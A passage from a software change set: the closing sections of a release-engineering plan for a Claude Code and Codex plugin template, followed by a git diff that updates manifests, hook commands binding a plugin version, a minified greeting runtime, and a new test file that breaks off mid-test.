`plugin/.claude-plugin/plugin.json`, `plugin/.codex-plugin/plugin.json`, `plugin/hooks/codex/hooks.json`, `plugin/runtime/hello-world.js`. +- **Approach:** Extend initialization ownership from identity projections to the complete release bootstrap, including the version-bearing Codex hook definition. Keep dry-run side-effect free and report every reset file in its result. +- **Patterns to follow:** `renderGeneratedFiles` and existing temporary-template initializer tests. +- **Test scenarios:** + - Covers AE1. Initialize a synthetic template at a later released version and verify every recipient surface is `0.1.0`, the release manifest and changelog are empty, and the release package name equals the recipient name. + - Verify recipient initialization generates Codex hook commands with `--plugin-version 0.1.0` and includes the hook file in the reported reset surfaces. + - Reinitialize an existing recipient without `--force` and verify no release file changes. + - Run `--dry-run` against a released template and verify it reports the reset plan without changing bytes. +- **Verification:** A freshly initialized copied repository passes generation, release validation, package, and full proof as a bootstrap release. + +### U2. Enforce one safe payload inventory + +- **Goal:** Make every copy and package operation consume the same regular-file-only inventory rooted inside `plugin/`. +- **Requirements:** R8-R9; Covers AE5; KTD2, KTD5. +- **Dependencies:** None. +- **Files:** `scripts/plugin-files.ts`, `scripts/plugin-files.test.ts`, `scripts/package.ts`, `scripts/prove-distribution.ts`, `scripts/prove-dx.ts`, `scripts/dev.ts`. +- **Approach:** Centralize path discovery, file-type validation, realpath containment, deterministic ordering, and copy behavior. Compare archive members and extracted bytes to the inventory rather than a hand-maintained required-file list alone. +- **Execution note:** Add failure-path coverage before replacing existing copy logic. +- **Patterns to follow:** Existing deterministic ordering in `scripts/package.ts` and digest checks in `scripts/prove-distribution.ts`. +- **Test scenarios:** + - Covers AE5. Add an internal symlink, external symlink, broken symlink, FIFO, and nested realpath escape in isolated fixtures; verify each consumer rejects the exact entry. + - Copy a valid payload and verify modes, paths, and file bytes match the source inventory. + - Package twice and verify identical archive bytes and exact file-set equality with `plugin/`. + - Add an unexpected regular file and verify it is included consistently in Git installation evidence and the archive rather than silently omitted. +- **Verification:** Development staging, packaging, extraction, and both harness distribution proofs share one inventory and no path type can produce different installed and archived bytes. + +### U9. Match native package metadata rules + +- **Goal:** Prevent the generator from accepting metadata that either native plugin validator or marketplace contract rejects. +- **Requirements:** R23-R24, R29, R31-R32, R36; KTD12, KTD16. +- **Dependencies:** U1. +- **Files:** `scripts/plugin-config.ts`, `scripts/plugin-manifest-contract.test.ts`, `scripts/init.test.ts`, `plugin.config.json`, `.claude-plugin/marketplace.json`, `.agents/plugins/marketplace.json`, `plugin/.claude-plugin/plugin.json`, `plugin/.codex-plugin/plugin.json`, `plugin/hooks/codex/hooks.json`. +- **Approach:** Make canonical metadata validation own the published native rules for every emitted field. Use one standards-compliant semantic-version check with the 64-character limit. Name the required `package/git-marketplace` profile separately from the intentionally stricter `directory-readiness` text profile. Enforce package structure and supported text for the first; keep the current 30-character display and short-description and 128-character prompt limits as deliberate directory-ready metadata without claiming submission completeness. Structurally parse URLs before rendering. Run Claude's strict plugin validator against the rendered plugin and bind its explicit version and marketplace identity to the canonical config. Generate the version-bearing Codex hook definition from the same config. +- **Patterns to follow:** Existing table-driven negative manifest cases in `scripts/plugin-manifest-contract.test.ts` and generated-file drift checks. +- **Test scenarios:** + - Reject semantic versions with leading-zero numeric identifiers, invalid prerelease or build identifiers, missing components, or more than 64 characters; accept representative valid stable, prerelease, and build forms. + - Reject descriptions over 1,024 characters or containing unsupported control text. + - Reject repository URLs outside the canonical GitHub HTTPS shape used by release publication, including other hosts, ports, queries, fragments, embedded credentials, unsupported text, or a non-HTTPS scheme. + - Reject empty, whitespace-only, multiline, duplicate-after-normalization, over-limit, or `@mention` starter prompts. + - Verify author, developer, display, short-description, long-description, category, and capability limits remain aligned with the generated Codex manifest. + - Verify the generated Codex marketplace keeps `policy.installation` at `AVAILABLE` and never silently opts recipients into `INSTALLED_BY_DEFAULT`. + - Verify the Codex marketplace contains no synthetic version field; prove its identity, source, policy, and category projection separately from manifest version. + - Verify the generated Claude manifest and marketplace entry both set `defaultEnabled: false` and document Claude Code 2.1.154 as the minimum version for disabled-on-install behavior. + - Verify the generated Claude plugin passes `claude plugin validate --strict`, carries the canonical explicit version, and agrees with the marketplace plugin name and source projection. + - Hold the Claude manifest version constant while changing payload bytes and verify the release-impact and generated-drift gates reject the update before Claude can reuse the old cache key. + - Verify the generated Codex hook commands include and validate the canonical `--plugin-version` argument. + - Verify the named directory-readiness text subset passes its enumerated limits while the result explicitly reports public ZIP, assets, identity, portal review, approval, and publication as not evaluated. + - Verify initializer input cannot write invalid metadata or leave partially regenerated manifests. +- **Verification:** Every generated native manifest fixture passes its named package profile, Claude strict validation succeeds, Codex directory-ready text fields pass their separate profile, and neither result overclaims public-directory readiness. + +### U3. Bind proof, tag, release, and repair to one commit + +- **Goal:** Remove the live-`main` race and make repair mutate assets only for the already proven tag. +- **Requirements:** R1-R5, R10-R11, R30; Covers AE2-AE4; KTD1-KTD3, KTD9, KTD17. +- **Dependencies:** U2, U9. +- **Files:** `.github/workflows/release.yml`, `.github/workflows/plugin-ci.yml`, `.github/release-please-config.json`, `scripts/plugin-config.ts`, `scripts/release-validate.ts`, `scripts/release-validate.test.ts`, `scripts/package.ts`, `scripts/prove-distribution.ts`, `plugin/hooks/codex/hooks.json`, `package.json`. +- **Approach:** + 1. Configure Release Please to maintain the release pull request without creating the Git tag or GitHub Release. + 2. Resolve exactly one merged Release Please pull request for `github.sha`. Require the configured base branch, the expected automation identity, exact merge-commit equality, and only the allowed version, manifest, generated Codex hook definition, runtime marker, and changelog projection. Reject zero or multiple matches, unsupported merge modes, and replay of a candidate already bound to another release state. + 3. Persist a candidate record containing repository, base branch, pull-request number, automation identity, merge commit, version, expected absent `vX.Y.Z` tag, and projection digest before proof begins. + 4. Run compatibility, metadata, exact-payload, and hermetic harness proof against that candidate SHA even if `main` later advances. + 5. Create the immutable tag explicitly at the proven candidate SHA, verify the remote tag target, then create the GitHub Release for that existing tag and upload the candidate's assets. + 6. Enter `incomplete publication` when the tag exists but release creation, asset upload, or attestation fails. Repair starts from the existing tag, compares remote and regenerated digests, adds missing evidence, and leaves matching evidence untouched. + 7. Stop on a mismatched existing archive or checksum record. Permit replacement only through an explicit same-tag human-authorized input protected by the repository's release environment; generate evidence for the corrected digest without moving the tag. +- **Patterns to follow:** Full-SHA action pins, narrow job permissions, and current deterministic repair upload. +- **Test scenarios:** + - Covers AE2. Model maintenance at SHA A while `main` advances to B; verify no A artifact can publish under B's release. + - Present an ordinary `main` commit, a hand-authored version bump, and a Release Please PR with an extra payload edit; verify none qualifies as a publication candidate. + - Present zero matching PRs, multiple matching PRs, the wrong base, wrong automation identity, non-equal merge commit, unsupported merge mode, and a candidate rebound to another release identity; verify every case fails before proof or mutation. Resume the identical candidate record and verify idempotent continuation. + - Present a Release Please projection that omits or hand-edits the generated version-bearing Codex hook file; verify candidate admission and release validation fail. + - Covers AE3. Publish a release PR merge candidate and verify tag name, tag target, release target, archive metadata, and manifest version agree. + - Covers AE4. Supply a valid existing tag with the wrong manifest version, wrong checkout SHA, or wrong release target; verify failure precedes asset mutation. + - Rerun each transition after it succeeds and verify it is a no-op or same-tag completion, never a second tag or release. + - Simulate archive upload or public attestation failure after tag creation; verify rerun adds only the missing evidence for the same immutable tag. + - Present an existing matching archive, a mismatched archive, a missing checksum paired with an archive, and a mismatched checksum/archive pair; verify no-op, fail-closed, or protected human replacement behavior as specified by KTD14. + - Rerun a fully published release and verify no release asset or evidence is rewritten. + - Verify private output is named `*.checksums.json` and contains every R10 field. +- **Verification:** Workflow contract tests exercise maintenance, candidate admission, proof, tag creation, publication, incomplete publication, and repair transitions. No transition can reach tag or asset mutation with an unbound SHA. + +### U4. Gate payload changes on releasable pull request intent + +- **Goal:** Prevent installable changes from merging under a title that Release Please will not version. +- **Requirements:** R6-R7; Covers AE7; KTD6. +- **Dependencies:** U1, U2. +- **Files:** `scripts/release-impact.ts`, `scripts/release-impact.test.ts`, `.github/workflows/pull-request-title.yml`, `.github/workflows/plugin-ci.yml`, `.github/release-please-config.json`, `README.md`. +- **Approach:** Classify the base-to-head diff by canonical payload and generated-source ownership. Exempt non-payload changes and the recognized Release Please version projection. Emit the accepted title classes and changed payload paths on failure. +- **Patterns to follow:** Existing conventional-title check and generated-file ownership in `scripts/plugin-config.ts`. +- **Test scenarios:** + - Covers AE7. Change a skill, hook, launcher, runtime asset, or native manifest under `docs:`, `test:`, `ci:`, `chore:`, or `refactor:` and verify failure. + - Change only documentation, tests, or CI and verify a non-releasable title passes. + - Change a payload source plus its generated output under `fix:` and verify success. + - Present the exact Release Please version and changelog projection and verify the exemption; add any unrelated payload change and verify the exemption disappears. + - Use breaking, scoped `feat`, `fix`, and `perf` titles and verify each accepted form. +- **Verification:** The required PR check fails deterministically before merge whenever release-bearing bytes lack a version-bearing title. + +### U5. Verify repository publication safeguards + +- **Goal:** Make tag immutability and repository readiness visible, human-owned prerequisites. +- **Requirements:** R13-R14; KTD3. +- **Dependencies:** U3. +- **Files:** `scripts/repository-readiness.ts`, `scripts/repository-readiness.test.ts`, `package.json`, `README.md`, `docs/adr/0003-reviewed-versioned-releases.md`. +- **Approach:** Add a read-only verifier for the `v*` tag ruleset, default branch, merge mode, Actions permissions, and required checks that this release design depends on. Return a fail-closed result with exact settings repair guidance when a safeguard is absent or unqueryable. +- **Patterns to follow:** Structured errors and next actions in `scripts/ship-canary.ts`. +- **Test scenarios:** + - Report ready when a fixture repository exposes immutable `v*` tags and expected branch protections. + - Report the missing rule and settings path for an absent, disabled, bypassable, or mutable tag ruleset. + - Return a distinct unauthorized or API-unavailable result without claiming the repository is safe. + - Verify workflow permissions never include repository administration. +- **Verification:** A maintainer can run one read-only readiness check before enabling release automation, and publication cannot pass by treating an unknown safeguards state as ready. + +### U6. Prove native install, cache, trust, update, and rollback behavior + +- **Goal:** Verify that both harnesses install the tagged payload, report the same version, and preserve native trust and refresh rules. +- **Requirements:** R15-R20, R25-R29, R33-R35; Covers AE6, AE8-AE10; KTD2, KTD7, KTD10, KTD13, KTD15-KTD16, KTD18-KTD19. +- **Dependencies:** U2, U3, U9. +- **Files:** `scripts/prove-harness-install.ts`, `scripts/prove-harness-install.test.ts`, `scripts/prove-distribution.ts`, `scripts/prove-dx.ts`, `scripts/dev.ts`, `scripts/dev.test.ts`, `scripts/plugin-config.ts`, `scripts/plugin-manifest-contract.test.ts`, `scripts/readme-release-pin.test.ts`, `plugin/hooks/codex/hooks.json`, `README.md`, `package.json`. +- **Approach:** Build isolated harness homes and Git marketplace fixtures for a tagged release. Before mutation, clone or fetch a detached candidate, independently resolve requested ref to a 40-character SHA, validate exact-ref managed-policy admission and transport credentials, and inspect its manifest version and regular-file inventory. For Claude, record requested ref, resolved SHA, manifest version, active cache path, and installed inventory; preserve scoped state through KTD15. For Codex, capture `marketplace add/list --json` and `plugin add/list --json`; record marketplace identity, configured source/ref, installed marketplace root, plugin version, installed path, enabled state, install policy, and authentication policy. Preflight both target and previous refs under current requirements before removing the plugin or marketplace. Re-add the target ref, install, compare the reported `installedPath` with the tagged inventory, then start an isolated inspection task where the untrusted hook is skipped. Review and trust the exact version-bearing definition through `/hooks`, restore the captured enabled state through `/plugins`, and start a second task for activation proof. Inject failures after each mutation and restore the previous pinned state; block before removal if recovery cannot be proven. For local Codex development, treat the cache version as `local` and prove installed-byte replacement at the reported path rather than using manifest build metadata as a cache key. Detect managed or non-removable plugin state and hand off to the workspace administrator instead of promising rollback. +- **Execution note:** Prefer hermetic local homes and repositories; never mutate the developer's real plugin settings or cache. +- **Patterns to follow:** Isolated environment and staged Codex development setup in `scripts/dev.ts`. +- **Test scenarios:** + - Install one tag into isolated Claude and Codex homes and compare both cached payloads byte-for-byte with the tagged `plugin/` inventory. + - Covers AE6. Upgrade and roll back user, project, and local Claude scopes where supported; verify the selected scope and reported version after each replacement. + - Seed `${CLAUDE_PLUGIN_DATA}` with a marker, replace the last installed Claude scope, and verify `--keep-data` preserves the marker through upgrade, rollback, and restoration. + - Fail detached source access, credential admission, ref resolution, exact-ref policy admission, and payload inspection; verify the current install remains untouched. + - Fail each step after Claude mutation begins; verify the previous marketplace and plugin declarations return in their original scopes, persistent data survives, and no partially enabled replacement remains. + - Leave old Claude cache versions orphaned beside the active version; verify proof selects only the host-reported active cache and still reports requested ref, resolved SHA, manifest version, active path, and exact inventory. + - Prove SSH private access requires accepted host keys and an agent-loaded key; prove HTTPS requires a credential helper; prove token environment variables alone do not satisfy Git admission. + - Simulate private HTTPS background pull failure and re-clone behavior; verify keep-on-failure retains the last-known-good marketplace and the documented manual update path succeeds with configured credentials. + - Install the Claude manifest with `defaultEnabled: false`, verify no hook runs before explicit enablement, and verify the compatibility check warns or rejects clients older than 2.1.154. + - Upgrade and roll back a Codex Git marketplace snapshot; verify a fresh task sees the selected version and payload. + - Capture Codex marketplace and plugin JSON before replacement; verify source/ref, roots, installed path, version, enabled state, and policies match the active installation. + - Reject a target or restoration ref denied by current requirements or unavailable under current credentials before deleting the installed plugin or marketplace. + - Fail after Codex plugin removal, marketplace removal, pinned re-add, and plugin install; verify the previous ref and enabled state are restored, or verify the transition was blocked because cache restoration was not provable. + - Reinstall a changed local development payload whose host cache version is `local`; verify the reported `installedPath` bytes change. Remove and add explicitly if repeated `plugin add` does not prove replacement. + - Covers AE8. Install a Codex plugin with hooks, start an isolated inspection task, verify the exact current hook definition is skipped as untrusted, trust it through `/hooks`, then start a second task and verify the trusted definition runs. + - Change only the portable JavaScript, launcher, and each bundled native binary under a new version while leaving hook behavior stable; verify `--plugin-version` changes the generated command and prior trust does not authorize the new exact-definition hash. + - Verify Codex `enabled` state and hook trust independently: an enabled plugin with untrusted hooks skips those hooks, and trust alone does not invent a default-disabled installation contract. + - Attempt replacement of a managed, workspace-installed, or non-removable plugin and verify a clear administrator handoff with no partial marketplace mutation. + - Attempt inspection or install from a moved or mismatched ref and verify the immutable-tag and commit checks fail. +- **Verification:** Every release blocks on isolated end-to-end install and cache evidence for both harnesses, with no writes to the operator's real harness state. + +### U7. Qualify publishing-system changes with hosted Git-repository canaries + +- **Goal:** Run public-Git-repository and private-Git-repository hosted canaries when the template's publication machinery changes and prove the real Git transport identity. +- **Requirements:** R21-R22; KTD8, KTD11. +- **Dependencies:** U3-U6. +- **Files:** `scripts/ship-canary.ts`, `scripts/ship-canary.test.ts`, `.github/workflows/plugin-ci.yml`, `README.md`. +- **Approach:** Classify publishing-system paths, require both canary conclusions for those pull requests, and keep recipient releases on hermetic proof alone. Verify generated files in unprivileged PR CI with the candidate generator; keep the privileged base-code driver limited to stable target and transport invariants. Bind authorization and both native installs to the transport derived from `origin`. Publish the source SHA to the private canary and a deterministic installable-only root commit with a trusted minimal proof workflow to the public canary. Trigger proof from each unique immutable ref, then install through each harness and compare its cache to the exact published commit. Do not delete or reuse candidate refs in this unit; define retention cleanup separately after qualification is stable. +- **Patterns to follow:** Existing visibility, lineage, fast-forward-only, and hosted-run checks in `scripts/ship-canary.ts`. +- **Test scenarios:** + - Change packaging, release, initialization, manifest generation, install proof, or canary code and verify both hosted canaries become required. + - Change only a recipient payload and verify hosted canaries are not required while hermetic proof still runs. + - Qualify parallel and mutually divergent pull request heads and verify each uses a distinct candidate ref without rewriting or blocking the other. + - Retry one candidate SHA and verify the existing ref is accepted only when it resolves to the same commit. + - Use a GitHub CLI identity that differs from the SSH or HTTPS push identity and verify preflight fails before repository mutation. + - Publish public and private Git-repository canaries, install each through native marketplace flow, and compare version, commit, and cached payload without reporting universal-directory qualification. + - Simulate missing repository, non-fast-forward history, wrong visibility, failed hosted CI, and install mismatch; verify each returns a repair action without rewriting history. +- **Verification:** Publishing-system pull requests cannot merge until public and private Git-repository distribution paths pass, while ordinary recipient releases avoid unnecessary hosted canary fan-out. These canaries make no claim about universal-directory ZIP validation, review, approval, or publication. + +### U8. Align operator documentation and architectural contract + +- **Goal:** Make README and ADR guidance describe only behavior the implementation proves. +- **Requirements:** R3-R5, R10-R11, R15-R22, R26-R37; KTD1-KTD10, KTD15-KTD19. +- **Dependencies:** U1-U7, U9. +- **Files:** `README.md`, `docs/adr/0003-reviewed-versioned-releases.md`, `scripts/readme-release-pin.test.ts`, `scripts/release-validate.test.ts`. +- **Approach:** Document the release states, human-owned safeguards, detached-source trust preflight, each host's native replacement state, Claude data preservation, Codex JSON evidence and best-effort restoration boundary, incomplete-publication repair, checksum limits, Git-repository canary qualification, private-repository authentication, supported Codex surfaces, and the self-hosted Git marketplace versus OpenAI-directory and Anthropic-community boundaries. Derive command assertions from complete ordered recipes. Keep plugin removal and marketplace removal as distinct Codex steps. +- **Patterns to follow:** Existing public and private install sections and release-state diagram. +- **Test scenarios:** + - Parse each public and private Claude recipe and verify the order is detached source/ref/SHA/credential/policy/payload preflight, scoped plugin uninstall with `--keep-data`, scoped marketplace removal, pinned marketplace add in the original marketplace scope, host-snapshot inspection, scoped install, explicit enable, and version and active-cache verification where replacement applies. + - Parse each public and private Codex replacement recipe and verify the order is detached target and restoration preflight, JSON state capture, plugin removal, marketplace removal, pinned marketplace add, marketplace JSON/root inspection, plugin add, plugin JSON/installed-path inspection, isolated inspection task with hooks skipped, `/hooks` trust review, enabled-state restoration, second fresh task, and version and byte verification. + - Verify every Claude scope variant preserves the same scope through remove and reinstall. + - Verify every Claude failure path restores the prior scoped declaration and install without deleting persistent plugin data. + - Verify Claude private recipes distinguish SSH agent and known-hosts setup, HTTPS credential helpers, insufficient token-only setup, background keep-on-failure, and manual updates. + - Verify the Claude compatibility note states that clients older than 2.1.154 ignore `defaultEnabled: false`. + - Verify production examples contain immutable `vX.Y.Z` refs and no moving release channel. + - Verify Claude automatic-update controls are described as user or team policy; describe `codex plugin marketplace upgrade` as the documented explicit CLI operation and automatic Codex refresh as unspecified. + - Verify Codex instructions preserve marketplace source/ref and `enabled` state, never claim plugin scopes or default-disabled install, and stop before destructive replacement when the prior cache cannot be restored. + - Verify Codex use is limited to documented supported surfaces: Codex CLI and Codex in the ChatGPT desktop app, not the IDE extension, Chat, mobile, or an unspecified universal Codex host. + - Verify managed or workspace-installed plugins route to an administrator instead of claiming universal removal or rollback. + - Verify repair instructions name only an exact existing tag and distinguish incomplete publication from a new release. + - Verify private evidence is consistently called checksum metadata, public/private Git canaries do not imply OpenAI-directory submission, and Anthropic community submission remains a separate deferred path. +- **Verification:** A reader can install, inspect, upgrade, roll back, publish, or repair without inventing a missing command or crossing a trust boundary prematurely. + +--- + +## Verification Contract + +| Gate | Applies to | Done signal | +|---|---|---| +| `bun test` | U1-U9 | All behavioral, workflow-state, fixture, and documentation contract tests pass. | +| `bun run generate:check` | U1, U4, U6 | Both marketplaces and native manifests match canonical metadata. | +| `bun run release:validate -- --json` | U1, U3-U5, U8 | Output binds one version, tag, release state, and required safeguards without drift. | +| `bun run prove:distribution` | U2-U3, U6 | Two archives are deterministic and exactly match the tagged regular-file payload. | +| Hermetic harness install proof | U6 | Isolated Claude and Codex active caches match the independently resolved tag SHA; Codex evidence uses documented JSON roots, installed path, version, enabled state, and policy fields. | +| Hosted public/private Git canaries | U7 | Required publishing-system changes pass both native Git-repository distribution paths without claiming universal-directory coverage. | +| `bun run prove:all` | All | The complete local gate passes with no generated drift or writes to real harness state. | + +--- + +## Risks and Dependencies + +- Codex plugin surfaces are evolving. Keep manifest, cache, hook-trust, and marketplace assertions tied to current official documentation and behavior fixtures. +- Codex trust keys the hook definition, not every downstream executable. Version-binding the definition depends on R6 ensuring every executable payload change receives a release version. +- Codex marketplace metadata has no general version field. Keep release version in the native manifest and bind the marketplace through configured ref, resolved SHA, and installed bytes. +- Codex local marketplace cache paths use the literal version `local`. Manifest build metadata may remain useful diagnostic output but is not cache invalidation evidence. +- Codex documents `marketplace upgrade` as an explicit CLI action but does not specify every host's automatic refresh behavior. Keep refs immutable and avoid broader claims. +- Claude and Codex may not expose identical scope controls. Preserve each native interface and do not claim symmetry where the host does not provide it. +- Claude Code treats an explicit manifest version as its update and cache identity; a payload commit with an unchanged version can be skipped. Keep R3's version-impact gate and verify manifest version before accepting cache reuse. +- Claude Code retains orphaned cache directories for 14 days. Never infer the active installation by choosing the newest or only cache directory. +- Claude Code clients before 2.1.154 ignore `defaultEnabled: false`. Enforce the supported-client boundary anywhere disabled-on-install is presented as a security property. +- Private Claude marketplace refresh depends on Git transport configuration. Keep token material out of source, preserve the last-known-good clone on failure, and offer credentialed manual update as recovery. +- GitHub ruleset APIs and permissions vary by repository ownership. Unknown safeguard state must block readiness with a repair path. +- Release Please output shape is an external contract. Pin the action SHA and cover the used outputs with workflow-state tests. +- Hosted private canaries require safe credentials. Keep secrets outside source and test identity admission before any push. + +--- + +## Definition of Done + +- Every requirement is implemented and traced to passing tests. +- Candidate SHA, tag SHA, archive bytes, installed cache bytes, version, and release target agree for a representative release. +- Publication admission is a unique, replay-safe Release Please candidate record whose merge commit equals the workflow SHA. +- Recipient initialization from a synthetic post-release template produces a valid first `v0.1.0` release state. +- Unsafe payload entries fail every copy and publication path. +- Payload-changing pull requests cannot merge under a non-releasable title. +- Generated Codex metadata rejects every enumerated local/repo package violation before files are written and labels the stricter directory-ready text subset without claiming submission readiness. +- Codex proof derives marketplace root, installed path, version, enabled state, and policies from native JSON, then proves Git identity and installed bytes at those exact paths. +- Codex upgrade and rollback preserve the prior source/ref and enabled state after injected failures, or stop before destructive mutation when restoration cannot be proven. +- Every release changes the supported Codex hook command field through the canonical version projection; prior exact-definition trust does not authorize the new executable closure. +- Repository safeguards are human-owned, machine-verified, and fail closed when unproven. +- Claude upgrade and rollback preserve marketplace scope, plugin scope, and `${CLAUDE_PLUGIN_DATA}`, restore the prior state after injected failure, and ignore orphaned cache directories. +- Claude installs remain disabled until the reviewed snapshot is explicitly enabled on supported clients; older clients fail the compatibility promise clearly. +- Public and private publishing-system canaries pass through native install paths. +- README and ADR commands match tested workflows and distinguish Git marketplace distribution from universal-directory submission. +- Full local proof passes, generated files are clean, and abandoned experimental code is removed. diff --git a/package.json b/package.json index c170acb..fd3d771 100644 --- a/package.json +++ b/package.json @@ -14,11 +14,13 @@ "dev:claude": "bun run scripts/dev.ts claude", "dev:codex": "bun run scripts/dev.ts codex", "ship:canary": "bun run scripts/ship-canary.ts", + "readiness": "bun run scripts/repository-readiness.ts", "package": "bun run build && bun run scripts/package.ts", "prove:distribution": "bun run scripts/prove-distribution.ts", + "prove:harness-install": "bun run scripts/prove-harness-install.ts", "prove:dx": "bun run scripts/prove-dx.ts", "prove:quickjs-ci": "bun run scripts/prove-quickjs-ci.ts", - "prove:all": "bun test && bun run generate:check && bun run release:validate && bun run prove:quickjs-ci && bun run prove:dx", + "prove:all": "bun test && bun run generate:check && bun run release:validate && bun run prove:quickjs-ci && bun run prove:harness-install -- --require-native && bun run prove:dx", "spike:quickjs": "bun run scripts/quickjs-spike.ts", "spike:quickjs:ci": "bun run scripts/quickjs-spike.ts --ci" } diff --git a/plugin.config.json b/plugin.config.json index 9c535dc..ed654fe 100644 --- a/plugin.config.json +++ b/plugin.config.json @@ -1,7 +1,7 @@ { "template": true, "name": "harness-native-plugin-prototype", - "displayName": "Harness Native Plugin Prototype", + "displayName": "Harness Plugin Prototype", "version": "0.1.0", "description": "Prove native plugin distribution with a Bun-authored portable runtime", "author": { @@ -11,12 +11,13 @@ "license": "MIT", "keywords": ["agent-plugin", "bun", "quickjs"], "category": "Developer Tools", - "shortDescription": "Run a Bun-authored skill without Bun installed.", + "shortDescription": "Run a portable plugin skill", "longDescription": "A portability proof with shared skills and runtime code plus native Claude Code and Codex manifests and hooks.", "capabilities": ["Read"], "defaultPrompts": ["Run the hello-world distribution proof."], "canary": { "owner": "myagentdojo", + "actor": "myagentdojo", "publicRepository": "agent-plugin-template-canary-public", "privateRepository": "agent-plugin-template-canary-private" } diff --git a/plugin/.claude-plugin/plugin.json b/plugin/.claude-plugin/plugin.json index a558976..c285327 100644 --- a/plugin/.claude-plugin/plugin.json +++ b/plugin/.claude-plugin/plugin.json @@ -1,6 +1,8 @@ { "name": "harness-native-plugin-prototype", + "displayName": "Harness Plugin Prototype", "version": "0.1.0", + "defaultEnabled": false, "description": "Prove native plugin distribution with a Bun-authored portable runtime", "author": { "name": "Prototype" diff --git a/plugin/.codex-plugin/plugin.json b/plugin/.codex-plugin/plugin.json index 4a6861b..6059d6a 100644 --- a/plugin/.codex-plugin/plugin.json +++ b/plugin/.codex-plugin/plugin.json @@ -15,8 +15,8 @@ "skills": "./skills/", "hooks": "./hooks/codex/hooks.json", "interface": { - "displayName": "Harness Native Plugin Prototype", - "shortDescription": "Run a Bun-authored skill without Bun installed.", + "displayName": "Harness Plugin Prototype", + "shortDescription": "Run a portable plugin skill", "longDescription": "A portability proof with shared skills and runtime code plus native Claude Code and Codex manifests and hooks.", "developerName": "Prototype", "category": "Developer Tools", diff --git a/plugin/hooks/codex/hooks.json b/plugin/hooks/codex/hooks.json index 73343ba..5d71cb5 100644 --- a/plugin/hooks/codex/hooks.json +++ b/plugin/hooks/codex/hooks.json @@ -6,7 +6,7 @@ "hooks": [ { "type": "command", - "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event SessionStart", + "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event SessionStart --plugin-version 0.1.0 # x-release-please-version", "timeout": 10, "statusMessage": "Running portable plugin hook" } @@ -18,7 +18,7 @@ "hooks": [ { "type": "command", - "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event Stop", + "command": "\"${PLUGIN_ROOT}/bin/hello-world\" hook --harness codex --event Stop --plugin-version 0.1.0 # x-release-please-version", "timeout": 10 } ] diff --git a/plugin/runtime/hello-world.js b/plugin/runtime/hello-world.js index 774bcd2..82106f0 100644 --- a/plugin/runtime/hello-world.js +++ b/plugin/runtime/hello-world.js @@ -2,20 +2,24 @@ // x-release-please-start-version const PLUGIN_VERSION = "0.1.0"; // x-release-please-end -import*as D from"qjs:std";function H(L="",R=""){return{exitCode:0,stdout:L,stderr:R}}function W(L){return{exitCode:2,stdout:"",stderr:`hello-world: ${L} +import*as D from"qjs:std";function S(L="",q=""){return{exitCode:0,stdout:L,stderr:q}}function H(L){return{exitCode:2,stdout:"",stderr:`hello-world: ${L} Run hello-world --help for usage. -`}}function $(L,R){let S=L.indexOf(R);if(S===-1)return;return L[S+1]}function z(){return`hello-world ${PLUGIN_VERSION} +`}}function $(L,q){let W=L.indexOf(q);if(W===-1)return;return L[W+1]}function B(){return`hello-world ${PLUGIN_VERSION} Usage: hello-world hello [--name ] [--json] - hello-world hook --harness --event + hello-world hook --harness claude --event + hello-world hook --harness codex --event --plugin-version hello-world --help Commands: hello Print a greeting. No files, network calls, or durable state. hook Accept a harness hook payload on stdin and exit successfully. -`}function k(L,R,S){let[O,...U]=L;if(O===void 0||O==="--help"||O==="-h")return H(z());if(O==="--version"||O==="-v")return H(`${PLUGIN_VERSION} -`);if(O==="hello"){let q=$(U,"--name")??"world";if(U.includes("--json"))return H(`${JSON.stringify({ok:!0,command:"hello",message:`Hello, ${q}!`,sideEffects:"none",runId:S})} -`);return H(`Hello, ${q}! -`)}if(O==="hook"){let q=$(U,"--harness"),j=$(U,"--event");if(q!=="codex"&&q!=="claude")return W("--harness must be codex or claude");if(!j)return W("--event is required");if(R.trim())try{JSON.parse(R)}catch{return W("hook stdin must be JSON")}return H("",`hello-world hook: ${q} ${j} -`)}return W(`unknown command: ${O}`)}var B=D.in.readAsString(),E=D.getenv("HELLO_WORLD_RUN_ID")??`quickjs-${Date.now()}`,N=k(scriptArgs.slice(1),B,E);if(N.stdout)D.out.puts(N.stdout);if(N.stderr)D.err.puts(N.stderr);D.exit(N.exitCode); + +Hook options: + --plugin-version Required for Codex hooks only. +`}function z(L,q,W){let[O,...N]=L;if(O===void 0||O==="--help"||O==="-h")return S(B());if(O==="--version"||O==="-v")return S(`${PLUGIN_VERSION} +`);if(O==="hello"){let R=$(N,"--name")??"world";if(N.includes("--json"))return S(`${JSON.stringify({ok:!0,command:"hello",message:`Hello, ${R}!`,sideEffects:"none",runId:W})} +`);return S(`Hello, ${R}! +`)}if(O==="hook"){let R=$(N,"--harness"),k=$(N,"--event"),j=$(N,"--plugin-version");if(R!=="codex"&&R!=="claude")return H("--harness must be codex or claude");if(!k)return H("--event is required");if(R==="codex"&&!j)return H("--plugin-version is required for codex hooks");if(j&&j!==PLUGIN_VERSION)return H(`--plugin-version must be ${PLUGIN_VERSION}`);if(q.trim())try{JSON.parse(q)}catch{return H("hook stdin must be JSON")}return S("",`hello-world hook: ${R} ${k} +`)}return H(`unknown command: ${O}`)}var E=D.in.readAsString(),F=D.getenv("HELLO_WORLD_RUN_ID")??`quickjs-${Date.now()}`,U=z(scriptArgs.slice(1),E,F);if(U.stdout)D.out.puts(U.stdout);if(U.stderr)D.err.puts(U.stderr);D.exit(U.exitCode); diff --git a/runtime/src/portable-command.test.ts b/runtime/src/portable-command.test.ts new file mode 100644 index 0000000..32e61e0 --- /dev/null +++ b/runtime/src/portable-command.test.ts @@ -0,0 +1,68 @@ +import { expect, test } from "bun:test" + +import config from "../../plugin.config.json" + +Object.assign(globalThis, { PLUGIN_VERSION: config.version }) + +const { executeCommand } = await import("./portable-command") + +test("hook help requires plugin version for Codex only", () => { + const result = executeCommand(["--help"], "", "help") + + expect(result.exitCode).toBe(0) + expect(result.stdout).toContain( + "hello-world hook --harness codex --event --plugin-version ", + ) + expect(result.stdout).toContain("hello-world hook --harness claude --event ") + expect(result.stdout).toContain("Required for Codex hooks only.") +}) + +test("Codex hooks bind the generated command to the runtime plugin version", () => { + const missing = executeCommand( + ["hook", "--harness", "codex", "--event", "SessionStart"], + "{}", + "missing-version", + ) + const mismatch = executeCommand( + [ + "hook", + "--harness", + "codex", + "--event", + "SessionStart", + "--plugin-version", + 